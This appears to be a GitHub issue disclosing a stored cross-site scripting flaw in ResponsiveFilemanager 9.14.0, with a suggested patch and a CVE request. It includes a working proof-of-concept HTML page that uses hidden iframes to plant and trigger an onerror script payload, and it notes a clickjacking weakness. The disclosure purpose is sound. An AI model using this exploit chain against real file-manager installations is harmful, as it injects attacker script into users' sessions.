After taking another look at the ResponsiveFilemanager 9.14.0 i noticed that in the dialog.php file on line 229 that if the $_SESSION['RF']['sort_by'] is already set that there would not be done any validation. https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/dialog.php#L235
This created a problem because in ajax_calls.php in the "sort" action in the "sort_by" parameter it is possible to set that value without any validation. https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/ajax_calls.php#L73
This means if you would first request a session by going to the dialog.php, than going to the ajax_calls.php and request the sort action and as "sort_by" parameter you give a html tag.
Than if you done al that go back to the dialog.php page than $_SESSION['RF']["sort_by"] would be read and unescaped placed on all places where $sort_by is used what created stored xss until the session isn't valid anymore.
A very simple patch would be to add fix_get_params() in the dialog.php on line 235 when the $sort_by is set. https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/dialog.php#L235
I made a simple html file you can use to validate this vulnerability.
It is made for Firefox because it does make use of iframe's and a clickjacking vulnerability but if the session was already set than this would also work in other browsers with a miner change.
you would need to change all "http://192.168.0.11:3001" to your website.
When runned it would make 3 iframe's.
One to request the dialog.php file to get a PHPSESSID and to set $_SESSION['RF']["verify"] as RESPONSIVEfilemanager.
Second it would open the ajax_calls.php to set the html tag.
And tirth it reopens the dialog.php page to trigger the stored xss:
<!DOCTYPE html><html><head><script>varurl="http://192.168.0.11:3001";/** Execute the "sort" action in ajax_calls.php and set as "sort_by" a html tag.This will set $_SESSION['RF']["sort_by"] on line 73 as my html tag.https://github.com/trippo/ResponsiveFilemanager/blob/28d55f22f49c5592fcb15b9601c3defbc46b89de/filemanager/ajax_calls.php#L73**/functioniframe1(){varifrm=document.createElement("iframe");ifrm.setAttribute("src",url+"/filemanager/ajax_calls.php?action=sort&sort_by=%22%3E%3Cimg/src=%27x%27/onerror=alert(document.domain)%3E","myWindow","width=200, height=100");ifrm.setAttribute("onload","iframe2();");ifrm.setAttribute("style","visibility: hidden;");ifrm.style.width="640px";ifrm.style.height="480px";document.body.appendChild(ifrm);}/** Go back to the dialog.php to trigger a xss starting at line 235 because when $_SESSION['RF']["sort_by"] is already set and the sort_by parameter isn't set than it would use the data from $_SESSION['RF']["sort_by"].And if sort_by isn't set than it won't execute fix_get_params() what would prevented xss.because in ajax_calls.php this value wasn't sanitized with fix_get_params() when we setted the $_SESSION['RF']["sort_by"] there is a stored xss until the session is expired.https://github.com/trippo/ResponsiveFilemanager/blob/28d55f22f49c5592fcb15b9601c3defbc46b89de/filemanager/dialog.php#L235https://github.com/trippo/ResponsiveFilemanager/blob/28d55f22f49c5592fcb15b9601c3defbc46b89de/filemanager/include/utils.php#L686**/functioniframe2(){varifrm1=document.createElement("iframe");ifrm1.setAttribute("src",url+"/filemanager/dialog.php?type=0&lang=en_EN&popup=0&crossdomain=0&relative_url=0&akey=key&fldr=/","myWindow","width=200, height=100");ifrm1.setAttribute("style","visibility: hidden;");ifrm1.style.width="640px";ifrm1.style.height="480px";document.body.appendChild(ifrm1);}</script></head><body><!--create a iframe to the dialog webpage to receive a PHPSESSID and to set $_SESSION['RF']["verify"] as RESPONSIVEfilemanager.https://github.com/trippo/ResponsiveFilemanager/blob/28d55f22f49c5592fcb15b9601c3defbc46b89de/filemanager/dialog.php#L19if we would not do that this exploit would fail in ajax_calls.php on line 7.https://github.com/trippo/ResponsiveFilemanager/blob/28d55f22f49c5592fcb15b9601c3defbc46b89de/filemanager/ajax_calls.php#L7--><iframesrc="http://192.168.0.11:3001/filemanager/dialog.php?type=0&lang=en_EN&popup=0&crossdomain=0&relative_url=0&akey=key&fldr=/",width=200,height=100onload="iframe1();" style="visibility: hidden;" sandbox></body></html>
A CVE has been requested.
The text was updated successfully, but these errors were encountered:
After taking another look at the ResponsiveFilemanager 9.14.0 i noticed that in the dialog.php file on line 229 that if the $_SESSION['RF']['sort_by'] is already set that there would not be done any validation.
https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/dialog.php#L235
This created a problem because in ajax_calls.php in the "sort" action in the "sort_by" parameter it is possible to set that value without any validation.
https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/ajax_calls.php#L73
This means if you would first request a session by going to the dialog.php, than going to the ajax_calls.php and request the sort action and as "sort_by" parameter you give a html tag.
Than if you done al that go back to the dialog.php page than $_SESSION['RF']["sort_by"] would be read and unescaped placed on all places where $sort_by is used what created stored xss until the session isn't valid anymore.
A very simple patch would be to add fix_get_params() in the dialog.php on line 235 when the $sort_by is set.
https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/dialog.php#L235
I made a simple html file you can use to validate this vulnerability.
It is made for Firefox because it does make use of iframe's and a clickjacking vulnerability but if the session was already set than this would also work in other browsers with a miner change.
you would need to change all "http://192.168.0.11:3001" to your website.
When runned it would make 3 iframe's.
One to request the dialog.php file to get a PHPSESSID and to set $_SESSION['RF']["verify"] as RESPONSIVEfilemanager.
Second it would open the ajax_calls.php to set the html tag.
And tirth it reopens the dialog.php page to trigger the stored xss:
A CVE has been requested.
The text was updated successfully, but these errors were encountered: